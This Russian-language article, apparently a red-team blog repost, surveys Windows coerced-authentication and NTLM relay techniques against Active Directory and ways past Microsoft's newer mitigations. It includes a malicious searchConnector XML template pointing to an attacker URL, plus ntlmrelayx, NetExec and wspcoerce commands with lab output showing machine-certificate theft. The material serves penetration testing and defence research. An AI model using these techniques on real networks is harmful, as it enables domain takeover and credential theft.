Admin
Администратор
Полное руководство по техникам принудительной аутентификации в Windows в 2025 году
Принудительная аутентификация в Windows часто кажется «серебряной пулей» против среднестатистического домена Active Directory. Имея любую низкопривилегированную учётную запись, этот метод обычно позволяет нам получить полный административный доступ к практически любым рабочим станциям и серверам Windows, после чего компрометация всего домена Active Directory становится лишь вопросом времени. Неудивительно, что Microsoft внедрила в последние версии Windows различные изменения, направленные на смягчение этого вектора атаки. В этой статье мы представляем исчерпывающее справочное руководство по техникам принудительной аутентификации в доменах Windows, а также обсуждаем их текущую эффективность, нюансы и типичные сценарии применения. Далее мы объясняем, как наши недавние патчи для Impacket и NetExec помогают обойти некоторые из новых защитных мер Microsoft, и представляем реализацию техники принуждения, которая в настоящее время не получила широкого распространения.
Прежде чем мы углубимся в текущее состояние дел с принудительной аутентификацией, мы хотели бы кратко изложить, что это такое и как оно связано с близкими по своей сути атаками ретрансляции (relay-атаками). Если вы уже знакомы с техниками принуждения, можете смело пропустить следующий раздел этой статьи. Затем мы обсудим препятствия, возникающие при ретрансляции принудительных сессий. Поскольку эти препятствия и механизмы защиты в последних версиях Windows были ужесточены, их понимание имеет решающее значение для оценки текущего состояния техник принуждения. Наконец, мы детально рассмотрим каждую технику, её применимость и то, как на неё влияют существующие методы противодействия.
Зачем нужна принудительная аутентификация?
Техники принудительной аутентификации идут рука об руку с relay-атаками. Для этой статьи мы предполагаем, что вы уже знаете, что такое relay-атаки. Если нет, мы можем порекомендовать несколько замечательных статей, которые помогут вам разобраться. Для NTLM-ретрансляции мы считаем превосходное объяснение от hackndo идеальной отправной точкой, наряду с нашей собственной статьёй о получении позиции «человек-посередине» (Man-in-the-Middle) с помощью pretender. Ретрансляция Kerberos также превращается во всё более обширную область после того, как Джеймс Форшоу заложил основу своим исследованием для Google Project Zero. С тех пор многие из предложенных атак были успешно реализованы и задокументированы, например, в статьях о техниках ретрансляции Kerberos с использованием динамических обновлений DNS от Дирка-Яна Моллемы или тех, что эксплуатируют функцию CredUnmarshalTargetInfo или LLMNR-спуфинг от Synacktiv.
Разобравшись с этим, давайте поговорим о том, какое место во всём этом занимает принудительная аутентификация. В конце концов, как NTLM, так и Kerberos relay-атаки прекрасно работают, эксплуатируя протоколы разрешения имён с помощью таких инструментов, как pretender, Responder или mitm6. На самом деле, как принуждение, так и атаки на разрешение имён имеют своё место и назначение при проведении relay-атак, поскольку у них есть свои явные преимущества и ограничения.
Атаки на разрешение имён (а именно спуфинг mDNS, LLMNR и NetBIOS, а также захват DNS через DHCPv6) могут выполняться без учётной записи пользователя. Поэтому они могут стать отличным первым шагом для начала тестирования на проникновение и получения первоначального плацдарма. Однако, какие именно сессии удастся ретранслировать и против каких целей, часто зависит от случая. Во многих случаях уже с помощью этих техник можно получить широкий доступ, но иногда вы определяете конкретные высокоприоритетные машины, которые хотите скомпрометировать, но так и не получаете подходящей сессии. Это может быть связано с невезением или с тем, что мы можем получить сессии только от учётных записей на компьютерах в нашем сетевом сегменте, которые получают наши широковещательные или многоадресные сообщения.
Именно здесь в игру вступает принудительная аутентификация, поскольку она позволяет сфокусироваться на конкретной машине и выполнить relay-атаку, которая обычно предоставляет полный административный доступ к этой машине. Однако для атак принуждения требуется доступ к учётной записи пользователя домена, пусть даже и к произвольной низкопривилегированной. По этой причине мы склонны рассматривать принуждение как логичный следующий шаг после получения такой учётной записи, например, с помощью relay-атак на основе разрешения имён. Говоря конкретнее, учётная запись может быть получена путём проведения relay-атак на LDAP с эксплуатацией ms-DS-MachineAccountQuota для создания новой учётной записи компьютера с помощью ретранслированной сессии обычного пользователя или путём изменения msDS-KeyCredentialLink с помощью ретранслированной сессии учётной записи компьютера (атака Shadow Credentials).
После получения такой учётной записи её можно использовать для подключения к различным API удалённого вызова процедур (RPC) выбранного компьютера с Windows и вызова функций, которые принуждают компьютер подключиться к системе злоумышленника и аутентифицироваться с соответствующей учётной записью компьютера. Отсюда и название — принудительная аутентификация. Эти подключения затем могут быть ретранслированы при нахождении подходящей цели.
С одной стороны, это позволяет нам самим выбирать, чью сессию мы хотим ретранслировать (даже за пределами сетевых границ), но с другой стороны, мы можем получить только сессии учётных записей компьютеров. Это подводит нас к следующему важному вопросу:
Почему учётные записи компьютеров так важны?
На первый взгляд, учётные записи компьютеров кажутся малопривлекательными с точки зрения атакующего, так как у них вряд ли есть особые разрешения, которые можно использовать для горизонтального перемещения. С другой стороны, учётные записи компьютеров обычно легко получить, поскольку любой пользователь домена может создать до 10 учётных записей компьютеров в конфигурации по умолчанию (см. ms-DS-MachineAccountQuota).
Однако, если говорить об учётных записях, принадлежащих реальным компьютерам, то при ближайшем рассмотрении оказывается, что эти учётные записи могут гораздо больше, чем кажется. Учётная запись компьютера — это набор учётных данных, который используется высокопривилегированной учётной записьюNT AUTHORITY\SYSTEM (или NT AUTHORITY\NETWORK SERVICE) при взаимодействии с Active Directory. Тем не менее, учётная запись компьютера и NT AUTHORITY\SYSTEM — это разные понятия. В результате, при аутентификации на соответствующем компьютере с использованием его учётной записи, вы получаете низкопривилегированную сессию, а не привилегированную сессиюNT AUTHORITY\SYSTEM. Если это так, то почему нас вообще волнует учётная запись компьютера? Ответ — имперсонация.
Хотя при аутентификации с использованием скомпрометированной учётной записи компьютера мы получаем лишь низкопривилегированный доступ, эта учётная запись может запрашивать мощные билеты имперсонации Kerberos для своего компьютера. Обычно это достигается двумя способами:
- Злоупотребление S4U2Self (S4U2Self Abuse): Для этой техники нам сначала нужно получить учётные данные для учётной записи компьютера. Это можно сделать, ретранслировав принудительную аутентификацию на LDAP для создания KeyCredentialLink (Shadow Credentials) или эксплуатируя ESC8 или ESC11 в relay-атаке на сервер Служб сертификации Active Directory (AD CS). С полученными учётными данными можно получить билет имперсонации через злоупотребление S4U2Self для соответствующего компьютера, с помощью которого мы можем имперсонировать пользователя домена (могут применяться ограничения) с локальными административными правами на этом компьютере.
- Ограниченное делегирование на основе ресурсов (Resource-Based Constrained Delegation, RBCD): Эта техника требует, чтобы атакующие уже получили другую учётную запись компьютера (назовём её computer1$), которая не обязательно должна соответствовать реальному компьютеру (технически, обычная учётная запись пользователя тоже подойдёт при RBCD без SPN). Принудительная аутентификация с целевого компьютера (computer2$) затем может быть ретранслирована на LDAP для настройки Ограниченного делегирования на основе ресурсов (RBCD) для уже контролируемой учётной записи компьютера (computer1$). Это означает, что учётная запись целевого компьютера (computer2$) позволяет другой, контролируемой атакующими, учётной записи компьютера (computer1$) запрашивать билеты имперсонации для этого компьютера. Наконец, такой билет может быть запрошен для имперсонации пользователя домена (опять же, могут применяться ограничения) с административным доступом к компьютеру.
Мы также хотели бы кратко упомянуть учётные записи компьютеров контроллеров домена. Если вам удастся принудить к аутентификации контроллер домена и ретранслировать её на LDAP или AD CS, никакие трюки с имперсонацией не понадобятся, поскольку у этих учётных записей есть привилегии DCSync, которые можно напрямую использовать для загрузки NT-хешей и ключей Kerberos всех пользователей с контроллеров домена. Это выделяет учётные записи компьютеров контроллеров домена как высокоприоритетные цели, компрометация которых напрямую даёт полный доступ к домену.
Что нам мешает?
Теперь, когда мы получили ясное представление о том, что такое принудительная аутентификация и каковы наши цели при её выполнении, нам нужно поговорить о препятствиях, которые могут помешать нам достичь этих целей, прежде чем мы перейдём к обсуждению самих техник принуждения.
Поскольку атаки принуждения в конечном счёте являются relay-атаками, препятствия в основном состоят из защитных мер против relay-атак, которые Microsoft внедрила для устранения недостатков древнего протокола аутентификации NTLM. Крайне важно понимать роль этих мер, поскольку они становятся всё более распространёнными, так как Microsoft начинает включать больше из них по умолчанию в новых версиях Windows. Обратите внимание, что обсуждаемые нами изменения в настройках по умолчанию между версиями Windows применяются только к новым установкам. При обновлении версий Windows обычно продолжают действовать старые настройки по умолчанию. Обсуждаемые далее защитные меры применяются как к NTLM, так и к Kerberos.
Привязка к каналу (Channel Binding) и EPA
Привязка к каналу — это мера противодействия relay-атакам на сервисы с поддержкой TLS, такие как LDAPS или HTTPS. В контексте HTTPS-серверов, таких как IIS, Microsoft обычно называет это Расширенной защитой аутентификации (Extended Protection for Authentication, EPA). Когда эта функция включена, сервисы должны включать отпечаток TLS-сертификата сервера нижележащего соединения в NTLM-челлендж клиента или в аутентификатор сообщения Kerberos AP_REQ. Пример того, как это выглядит в Wireshark, показан ниже:
Если сессия, которую мы хотим ретранслировать, изначально не предназначалась для TLS-сервиса, отпечаток не будет включён, и аутентификация завершится неудачей. Если мы принимаем входящую сессию с помощью TLS-сервера, клиент включит отпечаток нашего сертификата, и целевой сервер ретрансляции отклонит его, что эффективно предотвращает relay-атаки.
В контексте принуждения нас интересуют цели LDAPS для атак RBCD или Shadow Credentials, а также HTTPS API веб-регистрации Служб сертификации Active Directory (AD CS) для атак ESC8. К счастью, привязку к каналу часто можно легко обойти, используя аналог протокола без поддержки TLS (LDAP или HTTP), если он доступен. Однако для незашифрованного LDAP могут применяться другие меры защиты (подробнее об этом позже).
Долгое время привязка к каналу и EPA были отключены по умолчанию и редко включались вручную. Однако, начиная с Windows Server 2022 23H2 привязка к каналу LDAP была включена по умолчанию, а на Windows Server 2025 по умолчанию была включена EPA и отключен незашифрованный API веб-регистрации AD CS.
| Операционная система | Привязка к каналу LDAP | EPA |
| Windows Server 2019 |  | |
| Windows Server 2022 (до 23H2) | |  * |
| Windows Server 2022 23H2 |  | * |
| Windows Server 2025 | | |
Подпись сообщений на стороне сервера
Протоколы без поддержки TLS также могут использовать подпись и шифрование (иногда называемое "sealing") через интерфейс поставщика поддержки безопасности (Security Support Provider Interface, SSPI). В этом случае каждое сообщение подписывается или шифруется с помощью эфемерного ключа, полученного в ходе аутентификации NTLM или Kerberos. В relay-атаке аутентификация может пройти успешно, но злоумышленники никогда не смогут получить этот ключ. В результате они не могут ни подписывать, ни шифровать сообщения после успешной аутентификации, и цель ретрансляции, требующая подписи или шифрования, отклонит неподписанные или незашифрованные сообщения от злоумышленников. Для атакующих разница между подписью и шифрованием не имеет значения, поскольку relay-атаки терпят неудачу, как только для целевого сервера требуется одно из них.
Однако важно понимать, что для успеха relay-атаки имеет значение только политика подписи/шифрования на стороне сервера, а не на стороне клиента. Если клиент требует подписи или шифрования, мы всё равно можем ретранслировать аутентификацию, поскольку аутентификационные сообщения ещё не подписаны, а ключ для подписи/шифрования ещё не получен. После аутентификации мы не сможем общаться с клиентом, но нам это и не нужно, поскольку на данном этапе нас волнует только наше соединение с целью ретрансляции. Однако, если цель ретрансляции требует подписи/шифрования, у нас будет аутентифицированная сессия, но наши сообщения будут отклонены, что делает её бесполезной.
Сами пакеты аутентификации (например, NTLM или Kerberos) могут указывать в своих сообщениях, поддерживается ли подпись или шифрование. Однако SMB на самом деле выполняет собственное согласование подписи/шифрования. Поэтому конфигурация SMB, а не пакет аутентификации, определяет, отключена ли подпись, включена, но не обязательна, или обязательна:
В relay-атаке это позволяет нам заявить о поддержке подписи/шифрования при приёме входящей SMB-сессии от клиента, который требует подписи/шифрования, и позволить ему аутентифицироваться, что ещё не требует подписи/шифрования.
С LDAP ситуация иная. Как и в случае с SMB, LDAP-сервер может требовать или не требовать подпись, что разрешает или предотвращает relay-атаки. Однако LDAP не способен согласовывать подпись между клиентом и сервером. Неприятным следствием для злоумышленников является то, что даже если сервер изначально не требует подписи, она будет ситуативно включена, как только пакеты аутентификации укажут на поддержку подписи в аутентификационном сообщении. Это означает, что мы можем успешно ретранслировать только сессии клиентов, чьи пакеты аутентификации заявляют об отсутствии поддержки подписи. Мы вернёмся к этому аспекту в следующем разделе, но сначала давайте посмотрим на текущее состояние настроек подписи сообщений по умолчанию.
Подпись SMB на стороне сервера уже давно включена на контроллерах домена. Однако с выходом Windows 11 24H2 Microsoft включила подпись SMB на стороне сервера для входящих SMB-соединений на рабочих станциях. При этом подпись SMB на стороне сервера по-прежнему не является обязательной по умолчанию на серверах Windows, не являющихся контроллерами домена, вероятно, в качестве компромисса для поддержки устаревших реализаций, которым нужен доступ к общим ресурсам SMB без реальной поддержки подписи. Настройки по умолчанию для SMB перечислены в документации Microsoft. Недавние изменения были обобщены dsinternals. Как и привязка к каналу для LDAPS, подпись LDAP была включена по умолчанию для контроллеров домена на Windows Server 2022 23H2.
| Операционная система | Подпись SMB | Подпись LDAP |
| Windows Server 2019 КД | | |
| Windows Server 2022 КД (до 23H2) | | |
| Windows Server 2022 КД 23H2 | | |
| Windows Server 2025 КД | | |
| Windows Server 2019 (член домена) | | - |
| Windows Server 2022 (член домена) | | - |
| Windows Server 2025 (член домена) | | - |
| Windows 10 | | - |
| Windows 11 23H2 | | - |
| Windows 11 24H2 | | - |
Подпись сообщений на стороне клиента
Как упоминалось ранее, для relay-атак на LDAP-сервер крайне важно, чтобы входящие аутентификационные сообщения вообще не указывали на поддержку подписи. Поскольку LDAP является одной из важнейших целей для ретрансляции при атаках принуждения, возникает вопрос, как мы можем получить подходящие аутентификационные сообщения.
Например, чтобы создать SMB-соединение, содержащее аутентификационные сообщения NTLM без указания поддержки подписи, подпись SMB должна быть полностью отключена. Крайне маловероятно, что такая конфигурация встречается в реальных условиях, поэтому нам не следует на это рассчитывать.
Однако по какой-то причине мы всё ещё иногда сталкиваемся с хостами, на которых включён древний протокол NTLMv1. Вероятно, это устаревшая конфигурация, типичная для старых доменов. В этом случае бит, указывающий на поддержку подписи в сообщении NTLM, можно просто инвертировать в ходе relay-атаки, поскольку он не защищён криптографически, как в NTLMv2. Опция --remove-mic в примере ntlmrelayx.py из Impacket делает это как побочный эффект. В качестве альтернативы, NTLMv1 криптографически достаточно слаб, чтобы его можно было подобрать перебором с использованием радужных таблиц для получения NT-хеша учётной записи компьютера, что полностью избавляет от необходимости ретранслировать сессию. Однако, поскольку NTLMv1 в наши дни встречается редко и принудительно отключается при включении Credential Guard, мы также не можем на него полагаться.
Вместо этого наша лучшая ставка — это входящие HTTP-соединения. Поскольку протокол HTTP вообще не поддерживает подпись запросов на основе SSPI, пакеты аутентификации также не будут указывать на поддержку подписи:
Это означает, что для надёжной ретрансляции на LDAP-сервер нам необходимо получать входящие HTTP-соединения. К счастью, в атаках принуждения мы часто можем повлиять на используемый протокол.
Чтобы принудить компьютер отправить HTTP-запрос, необходимо, чтобы на этом компьютере в данный момент была запущена служба WebClient (иногда называемая WebDAV Redirector). Эта служба позволяет пользователям и приложениям получать доступ к WebDAV-ресурсам, например, в Проводнике Windows. В зависимости от внутренних механизмов выбранной техники принуждения, принудительное соединение использует эту службу для отправки аутентифицированного HTTP-запроса, но только если служба WebClient уже запущена в этот момент. Так какова вероятность, что служба запущена на любом данном компьютере, и можем ли мы как-то на это повлиять?
Прежде всего, служба WebClient, очевидно, должна быть установлена. На рабочих станциях Windows служба WebClient установлена по умолчанию. Напротив, на серверах Windows она по умолчанию не установлена, но может быть установлена вручную на серверах не-Core версий как дополнительный компонент. К сожалению, служба активируется по требованию, а не автоматически, поэтому она не будет запущена на только что загруженном компьютере. Но как выглядит «требование» на практике? Она будет активирована при монтировании WebDAV-диска, но также достаточно ввести случайный текст в строку поиска проводника и нажать Enter. Кроме того, некоторые приложения, такие как SharePoint, склонны активировать эту службу. Поэтому весьма вероятно, что служба WebClient будет запущена в какой-то момент в течение дня на типичной рабочей станции.
Но это ещё не всё. Мы можем повлиять на активацию службы извне, если у нас есть доступ к общему ресурсу с правом на запись на этом компьютере. В этом случае мы можем создать XML-файл с расширением .searchConnector-ms, который включает URL-адрес, а также использовать похожие техники. Как только такой файл будет отображён, служба WebClient активируется, и будет установлено аутентифицированное соединение с указанным URL. В некотором роде, это и есть сама по себе техника принуждения, но она использует учётные данные текущего пользователя, а не учётной записи компьютера. У этого есть свои преимущества, но в контексте этой статьи нас в первую очередь интересует принуждение с использованием учётной записи компьютера. Следовательно, мы используем эту технику для активации службы WebClient. Шаблон такого файла с указанным злоумышленником URL-адресом показан ниже:
XML:
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription
xmlns=
"http://schemas.microsoft.com/windows/2009/searchConnector"
>
<description>Microsoft Outlook</description>
<isSearchOnlyItem>false</isSearchOnlyItem>
<includeInStartMenuScope>true</includeInStartMenuScope>
<templateInfo>
<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
</templateInfo>
<simpleLocation>
<url>http://attacksystem/path</url>
</simpleLocation>
</searchConnectorDescription>Также можно проверить, запущена ли служба WebClient в данный момент на компьютере, поскольку при запуске она открывает именованный канал, который мы можем отслеживать. Эта проверка реализована в NetExec с помощью модуля webdav.
К сожалению, из-за того, что служба не установлена по умолчанию на серверах, а также из-за того, что она активируется через взаимодействие с пользователем, гораздо более вероятно принудить к HTTP-соединениям рабочие станции, а не серверы. Тем не менее, возможность компрометации рабочих станций с помощью этой техники всё ещё бесценна для развития атаки, и мы в значительной степени полагаемся на неё, чтобы иметь возможность ретранслировать запросы на LDAP.
Если служба WebClient действительно запущена на хосте, злоумышленники всё равно должны помнить ещё одну деталь этой службы: она попытается выполнить аутентификацию, только если будет достаточно уверена, что целевой сервер находится в зоне интрасети, а не в Интернете. Она использует эвристику, которая проверяет, указана ли цель с использованием имени хоста, которое должно разрешаться через локальное разрешение имён или через DNS в зоне домена. Однако, поскольку у злоумышленников уже должна быть учётная запись для выполнения принуждения, они могут использовать эту учётную запись для регистрации DNS-записи в домене для своей системы атаки, например, с помощью dnstool.py из krbrelayx. Чтобы убедиться, что действительно используется HTTP, необходимо указать порт и фиктивное имя общего ресурса вместе с именем хоста (без суффикса домена) следующим образом (обратите внимание, что некоторые инструменты добавляют ведущие обратные слэши сами):
\\attacksystem@80\share
Методы принудительной аутентификации
После такого долгого вступления мы наконец рассмотрели всё, что нужно знать для обсуждения и сравнения техник принуждения. Как уже упоминалось, мы сосредоточимся на использовании любой низкопривилегированной учётной записи для получения сессии учётной записи компьютера, подходящей для ретрансляции, поэтому мы не будем рассматривать привилегированные методы принуждения, например, RemoteMonologue.
Все обсуждаемые здесь методы принуждения основаны на RPC API, к которым можно получить удалённый доступ через DCERPC. В зависимости от конкретной техники, доступ к API можно получить через DCERPC по именованным каналам (named pipes) с использованием SMB, либо напрямую через «сырой» DCERPC с использованием сопоставителя портов (port mapper), либо обоими способами.
Если мы можем осуществлять принуждение через SMB, возникает вопрос: можем ли мы выполнить обычную неаутентифицированную relay-атаку (например, через mDNS или захват DNS через DHCPv6) на SMB-сервер выбранного компьютера и использовать это соединение для принудительной аутентификации от имени этого компьютера? К сожалению, ответ — нет, потому что даже если SMB-сервер не требует подписи, сами интерфейсы DCERPC её требуют, и в результате нам всё равно нужна предварительная учётная запись, пусть и низкопривилегированная.
Техники принуждения, которые мы рассмотрим, это PrinterBug на основе MS-RPRN, PetitPotam на основе MS-EFSR, принуждение через DFS на основе MS-DFSNM и принуждение через WSP на основе MS-WSP. Существуют и другие методы принуждения для конкретных серверов и приложений, требующие лишь низкопривилегированную учётную запись, но эти покрывают большинство основных сценариев.
Некоторые из этих техник позволяют принуждать только к SMB-соединениям, а другие — как к SMB, так и к HTTP-соединениям, при условии, что служба WebClient запущена. Аналогично, некоторые техники доступны всегда, а некоторые — только при определённых обстоятельствах. Мы снова обсудим эти детали, подробно рассматривая каждую технику. Но сначала мы хотим дать обзор возможностей ретрансляции для каждой техники принуждения против серверов с конфигурацией по умолчанию.
До выхода Windows 11 24H2 и Windows Server 2022 23H2 мало что мешало нам ретранслировать принудительные сессии на что угодно. К сожалению, с выходом Windows 11 24H2 и Server 2022 23H2 и 2025 ситуация выглядит довольно плачевно. В основном это связано с включением по умолчанию подписи SMB для рабочих станций, а также подписи LDAP, привязки к каналу LDAP и EPA (с 2025 года) для серверов.
Однако в действительности ситуация в настоящее время не так безрадостна, как кажется. Эти настройки по умолчанию применяются только к новым установкам, а не к обновлённым, и в реальных сетях всё ещё много машин с Windows 10 и Server 2019.
Кроме того, эта статья не только призвана обобщить текущее положение дел, но и продемонстрировать нашу работу, направленную на то, чтобы существующие техники принуждения продолжали работать, несмотря на недавние изменения. Но сначала — обзор техник принуждения и их возможностей:
| Метод | Поддерживает SMB | Поддерживает HTTP | Поддерживает DCERPC | Доступен на клиентах | Доступен на серверах |
| MS-RPRN |  * | * | * | | |
| MS-EFSR | | | | ** | ** |
| MS-DFSNM | | | | | |
| MS-WSP | | | | | *** |
** Служба запускается по требованию
*** Службу можно установить
MS-RPRN/PrinterBug
В своей презентации на DerbyCon 2018 @tifkin_ (Ли Кристенсен), @harmj0y (Уилл Шрёдер) и @enigma0x3 (Мэтт Нельсон) впервые продемонстрировали возможность принуждать хосты Windows к аутентификации на других машинах через одну из нескольких уязвимых функций, предоставляемых интерфейсом протокола удалённой системы печати (MS-RPRN). Изначально эта техника была реализована в SpoolerSample.
Методы, используемые для принуждения, обычно служат для мониторинга изменений принтеров и отправки уведомлений удалённым клиентам печати, которыми в случае принуждения обычно является наша система атаки.
Интерфейс MS-RPRN обычно доступен через DCERPC на большинстве рабочих станций и серверов, только Windows Server Core не поставляется с ним по умолчанию. Кроме того, Microsoft рекомендует отключать его на серверах.
В версиях до Windows 11 22H2 и Windows Server 2025 его можно было использовать для принуждения к соединениям через SMB и даже HTTP (если запущена служба WebClient). После выхода Windows 11 22H2 и Windows Server 2025, соединения по умолчанию устанавливаются только через «сырой» DCERPC, и попытки использовать SMB или HTTP больше не предпринимаются. Это изначально привело к сбою атак, так как инструменты вроде ntlmrelayx.py не могли принимать и ретранслировать входящие «сырые» DCERPC-соединения.
Чтобы всё же использовать DCERPC-соединения, мы модифицировали ntlmrelayx.py: Сильвен Хайнигер уже реализовал RPC-сервер в рамках своей статьи о DCOM-ретрансляции, и, добавив простую службу сопоставителя конечных точек (EPM), этот метод всё ещё можно ретранслировать на серверы AD CS в атаках ESC8, если EPA не включена:
Код:
$ ntlmrelayx.py -t "http://192.0.2.5/certsrv/" -smb2support --adcs
[...]
[*] Callback added for UUID 99FCFEC4-5260-101B-BBCB-00AA0021347A V:0.0
[*] Callback added for UUID E1AF8308-5D1F-11C9-91A4-08002B14A0FA V:3.0
[*] RPCD: Received connection from 192.0.2.115, attacking target http://192.0.2.5
[+] RPC: Received packet of type MSRPC BIND
[+] Answering to a BIND without authentication
[+] RPC: Received packet of type MSRPC REQUEST
[+] RPC: Sending packet of type MSRPC RESPONSE
[*] Callback added for UUID 99FCFEC4-5260-101B-BBCB-00AA0021347A V:0.0
[*] Callback added for UUID E1AF8308-5D1F-11C9-91A4-08002B14A0FA V:3.0
[*] RPCD: Received connection from 192.0.2.115, attacking target http://192.0.2.5
[+] RPC: Received packet of type MSRPC BIND
[+] RPC: Sending packet of type MSRPC BINDACK
[+] RPC: Received packet of type MSRPC AUTH3
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://192.0.2.5 as LAB\WIN11VM$ SUCCEED
[+] RPC: Sending packet of type MSRPC FAULT
[+] RPC: Received packet of type MSRPC REQUEST
[+] RPC: Sending packet of type MSRPC FAULT
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 16
[*] Writing PKCS#12 certificate to ./WIN11VM$.pfx
[*] Certificate successfully written to file
[+] RPC: Connection closed by clientВ 2021 году @topotam77 выпустил PetitPotam — ещё один метод, похожий на PrinterBug, для принудительной аутентификации через интерфейс протокола удалённой шифрующей файловой системы (MS-EFSRPC). После публикации уязвимости было замечено, что её можно было эксплуатировать без каких-либо учётных данных против контроллера домена (CVE-2021-36942), что позволяло злоумышленникам тривиально компрометировать целые домены. Разумеется, этот аспект был исправлен Microsoft, и теперь для этой техники требуется низкопривилегированная учётная запись, как и для других атак.
Методы, используемые для принуждения, связаны с работой с шифрующей файловой системой (EFS), например, для добавления пользователей, которые могут читать зашифрованные файлы. Он предоставляет несколько уязвимых функций. Microsoft исправила некоторые из них, но, похоже, сдалась, и другие уязвимые функции остаются эксплуатируемыми.
Эта техника принуждения позволяет использовать как SMB, так и HTTP-соединения. До обновления 23H2 соответствующий интерфейс был доступен как через «сырой» DCERPC, так и через именованные каналы по SMB. Однако, начиная с 23H2, служба по умолчанию не включена, а активируется по требованию, как и служба WebClient. Поскольку возможности EFS на практике используются редко, вероятность того, что она будет включена, гораздо ниже, чем у службы WebClient. В результате это обновление остановило многие атаки принуждения.
К счастью, на этом история не заканчивается. Поскольку нам очень нравилась эта техника, мы попытались выяснить, что может запустить службу. Например, служба активируется при создании нового зашифрованного файла или доступе к папке, в которой используются зашифрованные файлы. Создавать зашифрованные файлы можно и удалённо. Мы автоматизировали это в модуле NetExec efsr_spray, который пытается создать зашифрованный файл на каждом SMB-ресурсе. Для активации службы не важно иметь права NTFS для создания файла, важны лишь права SMB WRITE или MODIFY. Таким образом, даже если создание файла не удаётся из-за отсутствия прав на уровне файловой системы, атака всё равно успешна. Более того: даже если у пользователя есть только право WRITE на очередь печати, служба активируется при попытке создать файл. Мы снова в игре!
В следующем примере для активации канала efsrpc используется общий ресурс PDFCreator (имеющий тип PRINTQ) с помощью модуля efsr_spray:
Код:
$ nxc smb -u rtpttest -p 'test1234!' -d lab.redteam --shares -- 192.0.2.115
SMB 192.0.2.115 445 WIN11VM [*] Windows 11 Build 22621 x64 (name:WIN11VM) (domain:lab.redteam) (signing:False) (SMBv1:False)
SMB 192.0.2.115 445 WIN11VM [+] lab.redteam\rtpttest:test1234!
SMB 192.0.2.115 445 WIN11VM [*] Enumerated shares
SMB 192.0.2.115 445 WIN11VM Share Permissions Remark
SMB 192.0.2.115 445 WIN11VM ----- ----------- ------
SMB 192.0.2.115 445 WIN11VM ADMIN$ Remote Admin
SMB 192.0.2.115 445 WIN11VM C$ Default share
SMB 192.0.2.115 445 WIN11VM IPC$ READ Remote IPC
SMB 192.0.2.115 445 WIN11VM PDFCreator WRITE PDFCreator Printer
SMB 192.0.2.115 445 WIN11VM print$ READ Printer Drivers
$ nxc smb -u rtpttest -p 'test1234!' -d lab.redteam -M efsr_spray -- 192.0.2.115
SMB 192.0.2.115 445 WIN11VM [*] Windows 11 Build 22621 x64 (name:WIN11VM) (domain:lab.redteam) (signing:False) (SMBv1:False)
SMB 192.0.2.115 445 WIN11VM [+] lab.redteam\rtpttest:test1234!
EFSR_SPRAY 192.0.2.115 445 WIN11VM Successfully activated efsrpc named pipe!DFS
В 2022 году Филип Драгович опубликовал DFSCoerce (обнаружено @xct_de), ещё один метод, похожий на Printerbug, для принудительной аутентификации через интерфейс протокола управления пространством имён распределённой файловой системы (MS-DFSNM).
Методы, используемые для принуждения, связаны с работой с пространствами имён распределённой файловой системы и доступны только на серверах. Их можно использовать только для принуждения к SMB-соединениям.
WSP
В 2023 году Саймон Лемир опубликовал WSPCoerce, который осуществляет принуждение через интерфейс MS-WSP. Методы, используемые для принуждения, связаны с протоколом поиска Windows, который используется для запросов и индексации файлов. Служба wsearch включена по умолчанию только на рабочих станциях и отключена на серверах начиная с Server 2016. Однако при использовании строки поиска пользователю предлагается включить её, что может побудить администраторов активировать службу:
Как и в случае с принуждением через DFS, с помощью WSP можно принуждать только к SMB-соединениям. Используя эти два метода, мы можем принуждать как серверы, так и рабочие станции, если нас интересует только SMB-соединение.
Поскольку оригинальный PoC можно было запустить только с машин Windows, мы разработали реализацию на Python под названием wspcoerce на основе Impacket:
Код:
$ wspcoerce 'lab.redteam/rtpttest:[email protected]' "file:////attacksystem/share"
Impacket v0.13.0.dev0+20250408.175013.349160df - Copyright 2023 Fortra
[*] Connected to IPC$
[*] Opened MsFteWds pipe
[*] Sent WSP Connect
[*] Sent WSP Query
[*] Sent WSP Disconnect
$ ntlmrelayx.py -t "http://192.0.2.5/certsrv/" -debug -6 -smb2support --adcs
[...]
[*] SMBD-Thread-6 (process_request_thread): Received connection from 192.0.2.115, attacking target http://192.0.2.5
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://192.0.2.5 as LAB/WIN11VM$ SUCCEED
[*] SMBD-Thread-8 (process_request_thread): Received connection from 192.0.2.115, attacking target http://192.0.2.5
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://192.0.2.5 as LAB/WIN11VM$ SUCCEED
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 17
[*] Writing PKCS#12 certificate to ./WIN11VM$.pfx
[*] Certificate successfully written to file
[*] Skipping user WIN11VM$ since attack was already performedЗаключение
Принудительная аутентификация по-прежнему актуальна и эффективна в 2025 году, и это всё ещё один из самых быстрых способов скомпрометировать множество компьютеров в типичном домене Windows, несмотря на усилия Microsoft. Хотя будущее выглядит довольно неопределённым для атакующих, учитывая защитные меры, включённые по умолчанию в новых установках, большинство атак всё ещё работают — пусть и с новыми ограничениями — по крайней мере, на данный момент.
Мы также надеемся, что смогли подчеркнуть, насколько ценно для специалистов по безопасности глубоко разбираться в используемых техниках и инструментах. В конце концов, наша миссия — выявлять релевантные уязвимости безопасности у наших клиентов. Таким образом, мы должны быть в состоянии реагировать на изменения со стороны Microsoft — мы не хотим быть ограниченными нашими собственными инструментами, а скорее уровнем безопасности наших целей. Наша работа — донести реальную цену и риски компромиссов, продиктованных соображениями совместимости, поэтому мы будем продолжать искать обходные пути для частичных мер защиты, пока каждый сервис не будет требовать подписи или привязки к каналу, а NTLM не исчезнет навсегда.
Мы уверены, что в будущем будут обнаружены новые техники принуждения и дополнительные обходные пути для некоторых из существующих защитных мер. Это особенно актуально, поскольку было обнаружено, что принуждение также может играть важную роль в атаках ретрансляции Kerberos, которые будут занимать всё более значимое место, когда NTLM в конечном итоге будет отключён по умолчанию. Таким образом, ретрансляция Kerberos стала существенной темой наряду с принуждением, и в данный момент ведутся захватывающие новые исследования. Конечно, мы будем в курсе событий, так что следите за нашими будущими статьями на эти темы!
